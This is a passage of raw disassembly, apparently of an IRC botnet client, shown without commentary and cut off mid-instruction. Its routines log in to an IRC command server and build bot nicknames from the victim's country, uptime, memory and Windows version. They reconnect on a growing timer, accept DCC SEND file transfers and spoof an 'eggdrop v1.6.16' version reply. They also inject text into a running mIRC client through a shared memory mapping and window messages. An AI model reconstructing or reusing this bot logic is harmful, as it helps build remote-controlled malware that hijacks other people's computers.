CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DA40[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA40[eax] push offset dword_41E868 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA44[eax] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp off_41DA48[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA48[eax] push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E868 call sub_4105AD pop ecx push offset dword_41E968 call sub_4105AD pop ecx push offset byte_41E6E8 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E6E8 test eax, eax jz short loc_40D099 push offset byte_41E6E8 call sub_4105FB pop ecx push offset byte_41E6E8 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E6E8 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EE98 test eax, eax jz short loc_40D0C3 push offset byte_41EE98 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F018 test eax, eax jz short loc_40D0F6 push offset byte_41F018 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE18 test eax, eax jz short loc_40D163 push offset byte_41EE18 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB00 test eax, eax jz short loc_40D31D push offset byte_41DB00 push offset dword_41DA80 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DA80 call sub_4105FB pop ecx movsx eax, byte_41DB80 test eax, eax jz short loc_40D31D push offset byte_41DB80 push offset dword_41ED18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED18 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DA70 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E974 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E868 call sub_4105FB pop ecx push offset dword_41E968 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E968 push offset dword_41E868 call sub_4050EA add esp, 10h mov dword_41E974, eax push offset dword_41E868 call sub_4105AD pop ecx push offset dword_41E968 call sub_4105AD pop ecx cmp dword_41E974, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E974 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC ; SendMessageA push [ebp+var_C] call dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DA80 lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC00 push 3B7h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DA70 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr 